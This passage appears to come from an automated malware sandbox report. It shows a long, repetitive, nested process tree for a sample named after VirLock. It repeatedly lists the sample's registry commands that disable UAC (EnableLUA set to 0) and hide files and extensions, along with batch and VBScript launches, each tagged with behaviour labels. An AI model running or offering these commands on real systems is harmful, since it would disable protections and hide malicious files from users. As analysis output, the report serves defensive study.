                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2784
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                  82⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:856
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                    82⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:988
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\oaAEMUMI.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                    82⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2036
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                      83⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2728
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                80⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                PID:4452
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                80⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1852
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                  80⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5056
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EoUcQUUk.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                  80⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4768
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                    81⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2632
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                              78⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                              • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                              PID:108
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                              78⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                              PID:3876
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                79⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2524
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                78⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                PID:2328
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\yKskUUkA.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                78⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:252
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                    79⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1608
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                      79⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1596
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                76⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                PID:1632
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                76⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3736
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                  76⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4136
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\VWYEoIwU.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                  76⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:984
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                      77⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1800
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                74⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                PID:2580
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                74⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1724
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                  74⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1240
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lswQMMsE.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                  74⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2952
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                    75⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5032
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                              72⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                              PID:1008
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                              72⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                              PID:4224
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                              reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                              72⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                              PID:2024
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                73⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6088
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ZyMUQsQM.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                72⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2828
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                    73⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2724
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                      73⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2036
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                70⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                PID:3760
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                70⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                PID:6060
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                  71⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3364
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                  70⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2304
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ISQUwQwM.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                  70⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5144
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                    71⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4768
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                              68⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                              PID:2824
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                              68⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:2780
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                68⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                PID:1528
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gKEsUUMU.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                68⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                                PID:200
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                  69⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5352
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                            66⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                            PID:3320
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                            66⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:5868
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                              reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                              66⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                              PID:2540
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\oMgIsMIM.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                              66⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                              PID:5976
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                67⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                PID:2844
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                          64⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                          PID:4032
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                          64⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                          PID:892
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                          64⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                          • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                          PID:2416
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ZkEgwYYs.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                          64⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                          PID:4220
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                            65⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                            PID:1656
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                      62⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                      PID:4768
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                      62⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                      PID:5056
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                      62⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                      PID:3436
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\XSMsQEcw.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                      62⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                      PID:3272
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                        cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                        63⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                        PID:6088
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                  60⤵
                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                  PID:3088
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                  60⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:472
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                    60⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                    PID:588
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RWEkckgY.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                    60⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                    PID:3312
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                      cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                      61⤵
